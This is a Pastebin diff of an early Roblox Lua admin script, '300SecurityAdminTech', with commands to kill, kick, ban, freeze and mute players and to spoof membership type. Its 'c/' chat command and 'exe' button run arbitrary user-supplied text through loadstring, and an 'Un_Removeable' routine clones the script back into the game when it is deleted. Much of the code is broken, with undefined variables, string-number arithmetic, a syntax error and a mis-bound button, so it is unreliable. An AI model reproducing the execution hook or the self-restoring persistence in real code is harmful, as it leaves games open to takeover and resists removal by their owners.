SHOW:
|
|
- or go back to the newest paste.
| 1 | - | --[[ |
| 1 | + | |
| 2 | - | Welcome to 300 Security Admin Techonlogy, To join the team, please send a private message to Wierdoguy300 |
| 2 | + | |
| 3 | - | 300SecurityAdminTech. - All Rights Reserved |
| 3 | + | local admins = {"SmokeDelsin", "YoungHobbitBoy"} --Not CAsE SeNSitiVe
|
| 4 | - | 300SecurityAdminTech. - CopyRight 2012 |
| 4 | + | local banned = {"NikePro2004", "superluigiguy45"}
|
| 5 | - | 300SecurityAdminTech. - Has Encrypted This File For An Anti-Pirating Act |
| 5 | + | |
| 6 | - | 300SecurityAdminTech. - Auto-Updating Feature Is Still In Progress |
| 6 | + | |
| 7 | - | 300SecurityAdminTech. - You Can Now Have A GUI Admin By Saying GUI(Not All GUI's Are Working) |
| 7 | + | |
| 8 | - | ------------------------------------SETTINGS------------------------------ ]] |
| 8 | + | |
| 9 | - | local Known_Bugs = {{"Report ANY Bugs To Wierdoguy300"},{"GUI Admin Sometimes Does Not Load Properly Or At All", "Status: 55% Patched"}}
|
| 9 | + | |
| 10 | local ablist = {"LordiPhone", "wierdoguy300"}
| |
| 11 | local blocked = {"xXrobin827Xx", "superluigiguy45", "baragara"}
| |
| 12 | - | local admins = {"DeadlyShroom", "tootalljj"} --Not CAsE SeNSitiVe
|
| 12 | + | |
| 13 | - | local banned = {"xXrobin827Xx", "superluigiguy45"}
|
| 13 | + | |
| 14 | local here = true | |
| 15 | local override=false | |
| 16 | local cmd = {{"Kill", "Kills A Player", "kill/player"}, {"Kick", "Kicks A Player", "kick/player"}, {"Ban", "Bans A Player", "ban/player"}, {"ff", "Gives Player A ForceField", "ff/player"}, {"unff", "Removes Players ForceField", "unff/player"}, {"epic", "Gives Player Unlimited Health", "epic/player"}}
| |
| 17 | local tnum = 0 | |
| 18 | ------------------------------------END OF SETTINGS-------------------------- | |
| 19 | script.Name="300SecurityAdminTech" | |
| 20 | create = function(txt) | |
| 21 | local s = Instance.new("ScreenGui", script)
| |
| 22 | s.Name = "A_New_Alert" | |
| 23 | local t = Instance.new("TextLabel", s)
| |
| 24 | t.Name = "A_New_Alert" | |
| 25 | t.Text = "" | |
| 26 | t.Visible = true | |
| 27 | t.Position = UDim2.new(0, 0, 0.199999976, 0) | |
| 28 | t.Size = UDim2.new(1, 0, 0.0500000045, 0) | |
| 29 | t.TextColor3 = Color3.new(255, 255, 255) | |
| 30 | t.BackgroundColor3 = Color3.new(0, 0, 0) | |
| 31 | t.BorderColor3 = Color3.new(255, 255, 255) | |
| 32 | t.Font = "ArialBold" | |
| 33 | t.FontSize = "Size18" | |
| 34 | t.BackgroundTransparency = 1 | |
| 35 | t.TextTransparency = 1 | |
| 36 | for i,p in pairs(game.Players:GetPlayers()) do | |
| 37 | s:Clone().Parent = p.PlayerGui | |
| 38 | p.PlayerGui.A_New_Alert.A_New_Alert.Text = "[300SecurityAdminTech] "..txt | |
| 39 | for i=1,20 do | |
| 40 | p.PlayerGui.A_New_Alert.A_New_Alert.TextTransparency = p.PlayerGui.A_New_Alert.A_New_Alert.TextTransparency - .05 | |
| 41 | p.PlayerGui.A_New_Alert.A_New_Alert.BackgroundTransparency = p.PlayerGui.A_New_Alert.A_New_Alert.BackgroundTransparency - .05 | |
| 42 | wait(0.01) | |
| 43 | end | |
| 44 | end | |
| 45 | end | |
| 46 | left = function(player) | |
| 47 | for i=1,#ablist do | |
| 48 | if string.lower(player.Name) == string.lower(ablist[i]) then | |
| 49 | here = false | |
| 50 | abplayer=player.Name | |
| 51 | end | |
| 52 | end | |
| 53 | end | |
| 54 | ||
| 55 | game.Players.PlayerRemoving:connect(left) | |
| 56 | ||
| 57 | GuiAdmin = function(player) | |
| 58 | local pri="Off" | |
| 59 | local sym = "/" | |
| 60 | make() | |
| 61 | local s = Instance.new("ScreenGui")
| |
| 62 | s.Parent = game.Players:FindFirstChild(player).PlayerGui | |
| 63 | local nam = Instance.new("TextBox", s)
| |
| 64 | nam.Text = "Value" | |
| 65 | nam.Position = UDim2.new(0, 0, 0.8, 0) | |
| 66 | nam.Size = UDim2.new(1, 0, 0.05, 0) | |
| 67 | nam.Font = "ArialBold" | |
| 68 | nam.FontSize = "Size12" | |
| 69 | nam.TextColor = BrickColor.new("Institutional white")
| |
| 70 | nam.BackgroundColor = BrickColor.new("Really black")
| |
| 71 | nam.BorderColor = BrickColor.new("Institutional white")
| |
| 72 | local kill = Instance.new("TextButton", s)
| |
| 73 | kill.Text = "Kill" | |
| 74 | kill.Position = UDim2.new(0.2, 0, 0.45, 0) | |
| 75 | kill.Size = UDim2.new(0.05, 0, .05, 0) | |
| 76 | kill.Style = "RobloxButton" | |
| 77 | kill.Font = "ArialBold" | |
| 78 | kill.FontSize = "Size12" | |
| 79 | kill.TextColor = BrickColor.new("Institutional white")
| |
| 80 | kill.MouseButton1Click:connect(function() | |
| 81 | for i,v in pairs(game.Players:GetPlayers()) do | |
| 82 | if string.find(string.lower(nam.Text),string.lower(v.Name)) then | |
| 83 | v.Character.Humanoid.Health = nil | |
| 84 | end | |
| 85 | end | |
| 86 | end) | |
| 87 | local epic = Instance.new("TextButton", s)
| |
| 88 | epic.Text = "Epic" | |
| 89 | epic.Position = UDim2.new(0.2, 0, 0.5, 0) | |
| 90 | epic.Size = UDim2.new(0.05, 0, .05, 0) | |
| 91 | epic.Style = "RobloxButton" | |
| 92 | epic.Font = "ArialBold" | |
| 93 | epic.FontSize = "Size12" | |
| 94 | epic.TextColor = BrickColor.new("Institutional white")
| |
| 95 | epic.MouseButton1Click:connect(function() | |
| 96 | for i,v in pairs(game.Players:GetPlayers()) do | |
| 97 | if string.find(string.lower(nam.Text),string.lower(v.Name)) then | |
| 98 | v.Character.Humanoid.MaxHealth = math.huge | |
| 99 | end | |
| 100 | end | |
| 101 | end) | |
| 102 | local kick = Instance.new("TextButton", s)
| |
| 103 | kick.Text = "Kick" | |
| 104 | kick.Position = UDim2.new(0.2, 0, 0.55, 0) | |
| 105 | kick.Size = UDim2.new(0.05, 0, .05, 0) | |
| 106 | kick.Style = "RobloxButton" | |
| 107 | kick.Font = "ArialBold" | |
| 108 | kick.FontSize = "Size12" | |
| 109 | kick.TextColor = BrickColor.new("Institutional white")
| |
| 110 | kick.MouseButton1Click:connect(function() | |
| 111 | for i,v in pairs(game.Players:GetPlayers()) do | |
| 112 | if string.lower(nam.Text) == string.lower(v.Name) then | |
| 113 | v:Remove() | |
| 114 | end | |
| 115 | end | |
| 116 | end) | |
| 117 | local ff = Instance.new("TextButton", s)
| |
| 118 | ff.Text = "FF" | |
| 119 | ff.Position = UDim2.new(0.2, 0, 0.6, 0) | |
| 120 | ff.Size = UDim2.new(0.05, 0, .05, 0) | |
| 121 | ff.Style = "RobloxButton" | |
| 122 | ff.Font = "ArialBold" | |
| 123 | ff.FontSize = "Size12" | |
| 124 | ff.TextColor = BrickColor.new("Institutional white")
| |
| 125 | ff.MouseButton1Click:connect(function() | |
| 126 | for i,v in pairs(game.Players:GetPlayers()) do | |
| 127 | if string.find(string.lower(nam.Text),string.lower(v.Name)) then | |
| 128 | local f = Instance.new("ForceField", v.Character)
| |
| 129 | end | |
| 130 | end | |
| 131 | end) | |
| 132 | local invisible = Instance.new("TextButton", s)
| |
| 133 | invisible.Text = "Invisible" | |
| 134 | invisible.Position = UDim2.new(0.2, 0, 0.65, 0) | |
| 135 | invisible.Size = UDim2.new(0.05, 0, .05, 0) | |
| 136 | invisible.Style = "RobloxButton" | |
| 137 | invisible.Font = "ArialBold" | |
| 138 | invisible.FontSize = "Size12" | |
| 139 | invisible.TextColor = BrickColor.new("Institutional white")
| |
| 140 | invisible.MouseButton1Click:connect(function() | |
| 141 | for i,v in pairs(game.Players:GetPlayers()) do | |
| 142 | if string.find(string.lower(nam.Text),string.lower(v.Name)) then | |
| 143 | for i,g in pairs(v.Character:GetChildren()) do | |
| 144 | if g.ClassName=="Part" then | |
| 145 | g.Transparency = 1 | |
| 146 | end | |
| 147 | end | |
| 148 | end | |
| 149 | end | |
| 150 | end) | |
| 151 | local visible = Instance.new("TextButton", s)
| |
| 152 | visible.Text = "Visible" | |
| 153 | visible.Position = UDim2.new(0.2, 0, 0.7, 0) | |
| 154 | visible.Size = UDim2.new(0.05, 0, .05, 0) | |
| 155 | visible.Style = "RobloxButton" | |
| 156 | visible.Font = "ArialBold" | |
| 157 | visible.FontSize = "Size12" | |
| 158 | visible.TextColor = BrickColor.new("Institutional white")
| |
| 159 | visible.MouseButton1Click:connect(function() | |
| 160 | for i,v in pairs(game.Players:GetPlayers()) do | |
| 161 | if string.find(string.lower(nam.Text),string.lower(v.Name)) then | |
| 162 | for i,g in pairs(v.Character:GetChildren()) do | |
| 163 | if g.ClassName=="Part" then | |
| 164 | g.Transparency = 0 | |
| 165 | end | |
| 166 | end | |
| 167 | end | |
| 168 | end | |
| 169 | end) | |
| 170 | local unff = Instance.new("TextButton", s)
| |
| 171 | unff.Text = "Unff" | |
| 172 | unff.Position = UDim2.new(0.2, 0, 0.75, 0) | |
| 173 | unff.Size = UDim2.new(0.05, 0, .05, 0) | |
| 174 | unff.Style = "RobloxButton" | |
| 175 | unff.Font = "ArialBold" | |
| 176 | unff.FontSize = "Size12" | |
| 177 | unff.TextColor = BrickColor.new("Institutional white")
| |
| 178 | unff.MouseButton1Click:connect(function() | |
| 179 | for i,v in pairs(game.Players:GetPlayers()) do | |
| 180 | if string.find(string.lower(nam.Text),string.lower(v.Name)) then | |
| 181 | v.Character:FindFirstChild("ForceField"):Destroy()
| |
| 182 | end | |
| 183 | end | |
| 184 | end) | |
| 185 | local freeze = Instance.new("TextButton", s)
| |
| 186 | freeze.Text = "Freeze" | |
| 187 | freeze.Position = UDim2.new(0.25, 0, 0.45, 0) | |
| 188 | freeze.Size = UDim2.new(0.05, 0, .05, 0) | |
| 189 | freeze.Style = "RobloxButton" | |
| 190 | freeze.Font = "ArialBold" | |
| 191 | freeze.FontSize = "Size12" | |
| 192 | freeze.TextColor = BrickColor.new("Institutional white")
| |
| 193 | freeze.MouseButton1Click:connect(function() | |
| 194 | for i,v in pairs(game.Players:GetPlayers()) do | |
| 195 | if string.find(string.lower(nam.Text),string.lower(v.Name)) then | |
| 196 | v.Character.Head.Anchored = true | |
| 197 | end | |
| 198 | end | |
| 199 | end) | |
| 200 | local thaw = Instance.new("TextButton", s)
| |
| 201 | thaw.Text = "Thaw" | |
| 202 | thaw.Position = UDim2.new(0.25, 0, 0.5, 0) | |
| 203 | thaw.Size = UDim2.new(0.05, 0, .05, 0) | |
| 204 | thaw.Style = "RobloxButton" | |
| 205 | thaw.Font = "ArialBold" | |
| 206 | thaw.FontSize = "Size12" | |
| 207 | thaw.TextColor = BrickColor.new("Institutional white")
| |
| 208 | thaw.MouseButton1Click:connect(function() | |
| 209 | for i,v in pairs(game.Players:GetPlayers()) do | |
| 210 | if string.find(string.lower(nam.Text),string.lower(v.Name)) then | |
| 211 | v.Character.Head.Anchored = false | |
| 212 | end | |
| 213 | end | |
| 214 | end) | |
| 215 | local talk = Instance.new("TextButton", s)
| |
| 216 | talk.Text = "m/" | |
| 217 | talk.Position = UDim2.new(0.25, 0, 0.55, 0) | |
| 218 | talk.Size = UDim2.new(0.05, 0, .05, 0) | |
| 219 | talk.Style = "RobloxButton" | |
| 220 | talk.Font = "ArialBold" | |
| 221 | talk.FontSize = "Size12" | |
| 222 | talk.TextColor = BrickColor.new("Institutional white")
| |
| 223 | talk.MouseButton1Click:connect(function() | |
| 224 | local m = Instance.new("Message", game.Workspace)
| |
| 225 | m.Text = nam.Text | |
| 226 | wait(3) | |
| 227 | m:Destroy() | |
| 228 | end) | |
| 229 | local exe = Instance.new("TextButton", s)
| |
| 230 | exe.Text = "exe" | |
| 231 | exe.Position = UDim2.new(0.25, 0, 0.6, 0) | |
| 232 | exe.Size = UDim2.new(0.05, 0, .05, 0) | |
| 233 | exe.Style = "RobloxButton" | |
| 234 | exe.Font = "ArialBold" | |
| 235 | exe.FontSize = "Size12" | |
| 236 | exe.TextColor = BrickColor.new("Institutional white")
| |
| 237 | exe.MouseButton1Click:connect(function() | |
| 238 | pcall(function() | |
| 239 | loadstring(nam.Text)() | |
| 240 | end) | |
| 241 | end) | |
| 242 | local shutdown = Instance.new("TextButton", s)
| |
| 243 | shutdown.Text = "Shutdown" | |
| 244 | shutdown.Position = UDim2.new(0.25, 0, 0.65, 0) | |
| 245 | shutdown.Size = UDim2.new(0.05, 0, .05, 0) | |
| 246 | shutdown.Style = "RobloxButton" | |
| 247 | shutdown.Font = "ArialBold" | |
| 248 | shutdown.FontSize = "Size12" | |
| 249 | shutdown.TextColor = BrickColor.new("Institutional white")
| |
| 250 | shutdown.MouseButton1Click:connect(function() | |
| 251 | for i,v in pairs(game.Players:GetPlayers()) do | |
| 252 | v:Destroy() | |
| 253 | end | |
| 254 | end) | |
| 255 | local private = Instance.new("TextButton", s)
| |
| 256 | private.Text = "PriOn" | |
| 257 | private.Position = UDim2.new(0.25, 0, 0.7, 0) | |
| 258 | private.Size = UDim2.new(0.05, 0, .05, 0) | |
| 259 | private.Style = "RobloxButton" | |
| 260 | private.Font = "ArialBold" | |
| 261 | private.FontSize = "Size12" | |
| 262 | private.TextColor = BrickColor.new("Institutional white")
| |
| 263 | private.MouseButton1Click:connect(function() | |
| 264 | pri="On" | |
| 265 | local h = Instance.new("Hint", game.Workspace)
| |
| 266 | h.Text = "Private Server Status | "..pri.."." | |
| 267 | end) | |
| 268 | local prioff = Instance.new("TextButton", s)
| |
| 269 | prioff.Text = "Prioff" | |
| 270 | prioff.Position = UDim2.new(0.25, 0, 0.75, 0) | |
| 271 | prioff.Size = UDim2.new(0.05, 0, .05, 0) | |
| 272 | prioff.Style = "RobloxButton" | |
| 273 | prioff.Font = "ArialBold" | |
| 274 | prioff.FontSize = "Size12" | |
| 275 | prioff.TextColor = BrickColor.new("Institutional white")
| |
| 276 | prioff.MouseButton1Click:connect(function() | |
| 277 | pri="Off" | |
| 278 | local h = Instance.new("Hint", game.Workspace)
| |
| 279 | h.Text = "Private Server Status | "..pri.."." | |
| 280 | end) | |
| 281 | local speed = Instance.new("TextButton", s)
| |
| 282 | speed.Text = "Walkspeed" | |
| 283 | speed.Position = UDim2.new(0.3, 0, 0.75, 0) | |
| 284 | speed.Size = UDim2.new(0.05, 0, .05, 0) | |
| 285 | speed.Style = "RobloxButton" | |
| 286 | speed.Font = "ArialBold" | |
| 287 | speed.FontSize = "Size12" | |
| 288 | speed.TextColor = BrickColor.new("Institutional white")
| |
| 289 | speed.MouseButton1Click:connect(function() | |
| 290 | for i,v in pairs(game.Players:GetPlayers()) do | |
| 291 | if string.lower(string.sub(nam.Text,1,#v.Name)) == string.lower(v.Name) then | |
| 292 | v.Character.Humanoid.WalkSpeed = string.sub(nam.Text,#v.Name + #sym + 1) | |
| 293 | end | |
| 294 | end | |
| 295 | end) | |
| 296 | local mute = Instance.new("TextButton", s)
| |
| 297 | mute.Text = "Mute" | |
| 298 | mute.Position = UDim2.new(0.15, 0, 0.75, 0) | |
| 299 | mute.Size = UDim2.new(0.05, 0, .05, 0) | |
| 300 | mute.Style = "RobloxButton" | |
| 301 | mute.Font = "ArialBold" | |
| 302 | mute.FontSize = "Size12" | |
| 303 | mute.TextColor = BrickColor.new("Institutional white")
| |
| 304 | mute.MouseButton1Click:connect(function() | |
| 305 | for i,v in pairs(game.Players:GetPlayers()) do | |
| 306 | if string.lower(v.Name) == string.lower(nam.Text) then | |
| 307 | v:SetSuperSafeChat(true) | |
| 308 | end | |
| 309 | end | |
| 310 | end) | |
| 311 | local unmute = Instance.new("TextButton", s)
| |
| 312 | unmute.Text = "Unmute" | |
| 313 | unmute.Position = UDim2.new(0.15, 0, 0.7, 0) | |
| 314 | unmute.Size = UDim2.new(0.05, 0, .05, 0) | |
| 315 | unmute.Style = "RobloxButton" | |
| 316 | unmute.Font = "ArialBold" | |
| 317 | unmute.FontSize = "Size12" | |
| 318 | unmute.TextColor = BrickColor.new("Institutional white")
| |
| 319 | mute.MouseButton1Click:connect(function() | |
| 320 | for i,v in pairs(game.Players:GetPlayers()) do | |
| 321 | if string.find(string.lower(nam.Text),string.lower(v.Name)) then | |
| 322 | v:SetSuperSafeChat(false) | |
| 323 | end | |
| 324 | end | |
| 325 | end) | |
| 326 | local msg = Instance.new("TextButton", s)
| |
| 327 | msg.Text = "msg/" | |
| 328 | msg.Position = UDim2.new(0.3, 0, 0.7, 0) | |
| 329 | msg.Size = UDim2.new(0.05, 0, .05, 0) | |
| 330 | msg.Style = "RobloxButton" | |
| 331 | msg.Font = "ArialBold" | |
| 332 | msg.FontSize = "Size12" | |
| 333 | msg.TextColor = BrickColor.new("Institutional white")
| |
| 334 | msg.MouseButton1Click:connect(function() | |
| 335 | for i,v in pairs(game.Players:GetPlayers()) do | |
| 336 | if string.lower(v.Name) == string.lower(string.sub(nam.Text,1,#v.Name)) then | |
| 337 | local m = Instance.new("Message", v.PlayerGui)
| |
| 338 | m.Text = string.sub(name.Text,#v.Name + #sym + 1) | |
| 339 | wait(3) | |
| 340 | m:Destroy() | |
| 341 | end | |
| 342 | end | |
| 343 | end) | |
| 344 | local lock = Instance.new("TextButton", s)
| |
| 345 | lock.Text = "RobloxLock" | |
| 346 | lock.Position = UDim2.new(0.15, 0, 0.65, 0) | |
| 347 | lock.Size = UDim2.new(0.05, 0, .05, 0) | |
| 348 | lock.Style = "RobloxButton" | |
| 349 | lock.Font = "ArialBold" | |
| 350 | lock.FontSize = "Size12" | |
| 351 | lock.TextColor = BrickColor.new("Institutional white")
| |
| 352 | lock.MouseButton1Click:connect(function() | |
| 353 | game.workspace:FindFirstChild(nam.text).RobloxLocked = true | |
| 354 | end) | |
| 355 | end | |
| 356 | ||
| 357 | Un_Removeable = function(old) | |
| 358 | if old==script then | |
| 359 | script:Clone().Parent = Workspace | |
| 360 | end | |
| 361 | end | |
| 362 | ||
| 363 | alert = function(txxt) | |
| 364 | create(txxt) | |
| 365 | end | |
| 366 | ||
| 367 | cleanup = function(time) | |
| 368 | wait(time) | |
| 369 | for i,p in pairs(game.Players:GetPlayers()) do | |
| 370 | if p.PlayerGui:FindFirstChild("A_New_Alert") then
| |
| 371 | for i=1,20 do | |
| 372 | p.PlayerGui.A_New_Alert.A_New_Alert.TextTransparency = p.PlayerGui.A_New_Alert.A_New_Alert.TextTransparency + .05 | |
| 373 | p.PlayerGui.A_New_Alert.A_New_Alert.BackgroundTransparency = p.PlayerGui.A_New_Alert.A_New_Alert.BackgroundTransparency + .05 | |
| 374 | wait(0.01) | |
| 375 | end | |
| 376 | p.PlayerGui.A_New_Alert:Destroy() | |
| 377 | end | |
| 378 | end | |
| 379 | end | |
| 380 | ||
| 381 | alert("300 Security Admin Made By Wierdoguy300 Version "..version..", Was Successfully Loaded!")
| |
| 382 | cleanup(3) | |
| 383 | ||
| 384 | local result = nil | |
| 385 | search = function(name) | |
| 386 | for _,p in pairs(game.Players:GetPlayers()) do | |
| 387 | if (string.find(string.lower(p.Name), name) == 1) then | |
| 388 | result = nil | |
| 389 | wait() | |
| 390 | result = p.Name | |
| 391 | end | |
| 392 | end | |
| 393 | end | |
| 394 | ||
| 395 | debug = function(msg,speaker) | |
| 396 | if string.lower(msg)=="debug" then | |
| 397 | script:Destroy() | |
| 398 | end | |
| 399 | end | |
| 400 | commands = function(msg,speaker) | |
| 401 | if string.sub(msg,1,4 + sym) == "kill"..symbol then | |
| 402 | search(string.sub(msg,5 + sym)) | |
| 403 | player = game.Players:FindFirstChild(result) | |
| 404 | player.Character.Humanoid.Health = 0 | |
| 405 | alert(player.Name.." Has Been Killed") | |
| 406 | cleanup(2) | |
| 407 | end | |
| 408 | if string.lower(string.sub(msg,1,4 + sym)) == "kick"..symbol then | |
| 409 | search(string.sub(msg,5 + sym)) | |
| 410 | player = game.Players:FindFirstChild(result) | |
| 411 | player:Destroy() | |
| 412 | alert(result.." Has Been Kicked.") | |
| 413 | cleanup(2) | |
| 414 | end | |
| 415 | if string.lower(string.sub(msg,1,3 + sym)) == "ban"..symbol then | |
| 416 | search(string.sub(msg,4 + sym)) | |
| 417 | player = game.Players:FindFirstChild(result) | |
| 418 | table.insert(banned, player.name) | |
| 419 | player:Destroy() | |
| 420 | alert(result.." Has Been Banned.") | |
| 421 | cleanup(2) | |
| 422 | end | |
| 423 | if string.lower(string.sub(msg,1,2 + sym)) == "86"..symbol then | |
| 424 | search(string.sub(msg,3 + sym)) | |
| 425 | player = game.Players:FindFirstChild(result) | |
| 426 | player:Destroy() | |
| 427 | end | |
| 428 | if string.lower(string.sub(msg,1,2 + sym)) == "ff"..symbol then | |
| 429 | search(string.sub(msg,3 + sym)) | |
| 430 | player = game.Players:FindFirstChild(result) | |
| 431 | local f = Instance.new("ForceField", player.Character)
| |
| 432 | alert(player.Name.." Now Has A ForceField.") | |
| 433 | cleanup(2) | |
| 434 | end | |
| 435 | if string.lower(string.sub(msg,1,4 + sym)) == "unff"..symbol then | |
| 436 | search(string.sub(msg,5 + sym)) | |
| 437 | player = game.Players:FindFirstChild(result) | |
| 438 | for i,f in pairs(player.Character:GetChildren()) do | |
| 439 | if f.ClassName=="ForceField" then | |
| 440 | f:Destroy() | |
| 441 | end | |
| 442 | end | |
| 443 | alert(player.Name.." Lost Their ForceField") | |
| 444 | cleanup(2) | |
| 445 | end | |
| 446 | if string.sub(msg,1,4 + sym) == "epic"..symbol then | |
| 447 | search(string.sub(msg,5 + sym)) | |
| 448 | player = game.Players:FindFirstChild(result) | |
| 449 | player.Character.Humanoid.MaxHealth = math.huge | |
| 450 | alert(player.Name.." Now Has Unlimited Health") | |
| 451 | cleanup(2) | |
| 452 | end | |
| 453 | if string.sub(msg,1,1 + sym) == "m"..symbol then | |
| 454 | alert(speaker.Name..": "..string.sub(msg,2 + sym)) | |
| 455 | cleanup(2) | |
| 456 | end | |
| 457 | if string.sub(msg,1,1 + sym) == "c"..symbol then | |
| 458 | pcall(function() | |
| 459 | loadstring(string.sub(msg,2 + sym))() | |
| 460 | end) | |
| 461 | end | |
| 462 | if string.sub(msg,1,3 + sym) == "msg"..symbol then | |
| 463 | local m = Instance.new("Message", Workspace)
| |
| 464 | m.Name="3SA_New_Message" | |
| 465 | m.Text = speaker.Name..": "..string.sub(msg,4 + sym) | |
| 466 | wait(3) | |
| 467 | m:Destroy() | |
| 468 | end | |
| 469 | if string.lower(msg) == "enable" then | |
| 470 | disabled = false | |
| 471 | alert("The Game has Been Re-Enabled")
| |
| 472 | cleanup(2) | |
| 473 | end | |
| 474 | if string.lower(msg) == "disable" then | |
| 475 | disabled = true | |
| 476 | alert("The Game has Been Disabled")
| |
| 477 | cleanup(2) | |
| 478 | end | |
| 479 | if string.lower(string.sub(msg,1,4 + sym)) == "warn"..symbol then | |
| 480 | local an = search(string.sub(msg,5 + sym)) | |
| 481 | player = game.Players:FindFirstChild(result) | |
| 482 | table.insert(warn, 1, player.name) | |
| 483 | alert(player.Name.." has Been Warned, Do It Again And You Will Be Kicked!") | |
| 484 | end | |
| 485 | if string.lower(msg) == "fog" then | |
| 486 | game:service("Lighting").FogStart = 0
| |
| 487 | game:service("Lighting").FogEnd = 100
| |
| 488 | alert("The Server Has Been Fogged")
| |
| 489 | cleanup(2) | |
| 490 | end | |
| 491 | if string.lower(string.sub(msg,1,6 + sym)) == "freeze"..symbol then | |
| 492 | local an = search(string.sub(msg,7 + sym)) | |
| 493 | player = game.Players:FindFirstChild(result) | |
| 494 | for i,v in pairs(player.Character:GetChildren()) do | |
| 495 | if v.ClassName=="Part" then | |
| 496 | v.Anchored = true | |
| 497 | end | |
| 498 | end | |
| 499 | alert(player.Name.." Has Been Frozen") | |
| 500 | cleanup(2) | |
| 501 | end | |
| 502 | if string.lower(string.sub(msg,1,4 + sym)) == "thaw"..symbol then | |
| 503 | local an = search(string.sub(msg,5 + sym)) | |
| 504 | player = game.Players:FindFirstChild(result) | |
| 505 | for i,v in pairs(player.Character:GetChildren()) do | |
| 506 | if v.ClassName=="Part" then | |
| 507 | v.Anchored = false | |
| 508 | end | |
| 509 | end | |
| 510 | alert(player.Name.." Has Been Thawed") | |
| 511 | cleanup(2) | |
| 512 | end | |
| 513 | if string.lower(msg) == "spawncage" then | |
| 514 | wall1 = Instance.new("Part", workspace)
| |
| 515 | wall1.Size = Vector3.new(1, 20, 51) | |
| 516 | wall1.Anchored = true | |
| 517 | wall1.BrickColor = BrickColor.new("Really red")
| |
| 518 | wall1.Transparency = 0.7 | |
| 519 | wall1.TopSurface = "Smooth" | |
| 520 | wall1.BottomSurface = "Smooth" | |
| 521 | wall1.CFrame = CFrame.new(-25, 10, 0) | |
| 522 | wall2 = Instance.new("Part", workspace)
| |
| 523 | wall2.Size = Vector3.new(51, 20, 1) | |
| 524 | wall2.Anchored = true | |
| 525 | wall2.BrickColor = BrickColor.new("Really red")
| |
| 526 | wall2.Transparency = 0.7 | |
| 527 | wall2.TopSurface = "Smooth" | |
| 528 | wall2.BottomSurface = "Smooth" | |
| 529 | wall2.CFrame = CFrame.new(0, 10, 25) | |
| 530 | wall3 = Instance.new("Part", workspace)
| |
| 531 | wall3.Size = Vector3.new(1, 20, 51) | |
| 532 | wall3.Anchored = true | |
| 533 | wall3.BrickColor = BrickColor.new("Really red")
| |
| 534 | wall3.Transparency = 0.7 | |
| 535 | wall3.TopSurface = "Smooth" | |
| 536 | wall3.BottomSurface = "Smooth" | |
| 537 | wall3.CFrame = CFrame.new(25, 10, 0) | |
| 538 | wall4 = Instance.new("Part", workspace)
| |
| 539 | wall4.Size = Vector3.new(51, 20, 1) | |
| 540 | wall4.Anchored = true | |
| 541 | wall4.BrickColor = BrickColor.new("Really red")
| |
| 542 | wall4.Transparency = 0.7 | |
| 543 | wall4.TopSurface = "Smooth" | |
| 544 | wall4.BottomSurface = "Smooth" | |
| 545 | wall4.CFrame = CFrame.new(0, 10, -25) | |
| 546 | roof = Instance.new("Part", workspace)
| |
| 547 | roof.Anchored = true | |
| 548 | roof.Size = Vector3.new(51, 1, 51) | |
| 549 | roof.TopSurface = "Smooth" | |
| 550 | roof.BottomSurface = "Smooth" | |
| 551 | roof.BrickColor = BrickColor.new("Really black")
| |
| 552 | roof.Locked = true | |
| 553 | roof.CFrame = CFrame.new(0, 20.5, 0) | |
| 554 | alert("Added A New SpawnCage")
| |
| 555 | cleanup(2) | |
| 556 | end | |
| 557 | if string.lower(msg) == "clean" then | |
| 558 | for i,v in pairs(workspace:GetChildren()) do | |
| 559 | if game:GetService("Players"):GetPlayerFromCharacter(v) == nil then
| |
| 560 | if v.className ~= "Terrain" then | |
| 561 | if v.className ~= "Camera" then | |
| 562 | if v~=script then | |
| 563 | if v.Name~="TinySB" then | |
| 564 | pcall(function() v:Destroy() end) | |
| 565 | end | |
| 566 | end | |
| 567 | end | |
| 568 | end | |
| 569 | end | |
| 570 | end | |
| 571 | local b = Instance.new("Part", Game:GetService("Workspace"))
| |
| 572 | b.Size = Vector3.new(3000, 1, 3000) | |
| 573 | b.CFrame = CFrame.new(0, 0, 0) | |
| 574 | b.Name = "Base" | |
| 575 | b.BrickColor = BrickColor.new("Earth green")
| |
| 576 | b.TopSurface = "Smooth" | |
| 577 | b.BottomSurface = "Smooth" | |
| 578 | b.LeftSurface = "Smooth" | |
| 579 | b.RightSurface = "Smooth" | |
| 580 | b.FrontSurface = "Smooth" | |
| 581 | b.BackSurface = "Smooth" | |
| 582 | b.Anchored = true | |
| 583 | b.Locked = true | |
| 584 | local sl = Instance.new("SpawnLocation", workspace)
| |
| 585 | sl.Anchored = true | |
| 586 | sl.Locked = true | |
| 587 | sl.formFactor = "Plate" | |
| 588 | sl.Size = Vector3.new(6, 0.4, 6) | |
| 589 | sl.CFrame = CFrame.new(0, 0.6, 0) | |
| 590 | sl.BrickColor = BrickColor.new("Really black")
| |
| 591 | sl.TopSurface = "Smooth" | |
| 592 | sl.BottomSurface = "Smooth" | |
| 593 | sl.LeftSurface = "Smooth" | |
| 594 | sl.RightSurface = "Smooth" | |
| 595 | sl.FrontSurface = "Smooth" | |
| 596 | sl.BackSurface = "Smooth" | |
| 597 | alert("The Workspace Has Been Cleaned")
| |
| 598 | cleanup(2) | |
| 599 | end | |
| 600 | if string.lower(string.sub(msg,1,6+sym)) == "health"..symbol then | |
| 601 | local a = search(string.sub(msg,7+sym)) | |
| 602 | local b = a+sym+1 | |
| 603 | player = game.Players;FindFirstChild(result) | |
| 604 | player.Character.Humanoid.Health = b | |
| 605 | end | |
| 606 | if string.lower(string.sub(msg,1,3+sym)) == "nbc"..symbol then | |
| 607 | search(string.sub(msg,4+sym)) | |
| 608 | player = game.Players:FindFirstChild(result) | |
| 609 | player.MembershipTypeReplicate = 0 | |
| 610 | alert(result.." Now Has NBC") | |
| 611 | cleanup(2) | |
| 612 | end | |
| 613 | if string.lower(string.sub(msg,1,2+sym)) == "bc"..symbol then | |
| 614 | search(string.sub(msg,3+sym)) | |
| 615 | player = game.Players:FindFirstChild(result) | |
| 616 | player.MembershipTypeReplicate = 1 | |
| 617 | alert(result.." Now Has BC") | |
| 618 | cleanup(2) | |
| 619 | end | |
| 620 | if string.lower(string.sub(msg,1,3+sym)) == "tbc"..symbol then | |
| 621 | search(string.sub(msg,4+sym)) | |
| 622 | player = game.Players:FindFirstChild(result) | |
| 623 | player.MembershipTypeReplicate = 2 | |
| 624 | alert(result.." Now Has TBC") | |
| 625 | cleanup(2) | |
| 626 | end | |
| 627 | if string.lower(string.sub(msg,1,3+sym)) == "obc"..symbol then | |
| 628 | search(string.sub(msg,4+sym)) | |
| 629 | player = game.Players:FindFirstChild(result) | |
| 630 | player.MembershipTypeReplicate = 3 | |
| 631 | alert(result.." Now Has OBC") | |
